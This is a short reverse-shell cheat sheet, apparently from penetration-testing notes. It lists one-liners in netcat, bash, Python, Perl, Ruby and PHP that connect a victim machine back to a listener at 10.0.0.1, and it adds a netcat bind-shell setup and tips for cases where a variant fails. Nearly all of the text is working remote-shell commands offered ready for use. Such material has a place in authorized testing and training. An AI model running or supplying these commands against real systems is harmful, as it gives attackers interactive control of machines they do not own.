Netcat
Netcat is installed in a lot od distros.
- Reverse Shell
Listener:
nc -lvp 1234
Victim:
nc -e /bin/sh 10.0.0.1 1234
If the version of netcat from the victim machine doesn't support -e, we should use the next command before runing the previous command:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
- Bind Shell
Listener:
nc -lvp 1234 -e /bin/sh
Victim:
nc 10.10.10.2 1234
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Trick when it doesn't work:
bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
This code assumes that the TCP connection uses file descriptor 3. If it doesn’t work, try 4, 5, 6…
